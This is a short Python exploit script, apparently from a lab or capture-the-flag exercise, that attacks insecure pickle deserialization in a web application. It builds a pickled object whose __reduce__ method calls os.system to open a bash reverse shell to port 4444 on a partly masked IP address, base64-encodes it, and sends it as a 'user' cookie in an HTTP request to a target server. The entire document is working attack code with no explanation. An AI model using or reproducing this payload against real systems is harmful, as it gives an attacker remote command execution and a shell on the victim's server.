import pickle, os, base64, requests

class P(object):
    def __reduce__(self):
        return (os.system,("bash -c 'bash -i >& /dev/tcp/10.XX.32.YYY/4444 0>&1'",))

payload = base64.b64encode(pickle.dumps(P())).decode('utf-8')
r = requests.get("http://10.XX.32.142", cookies={"user":payload})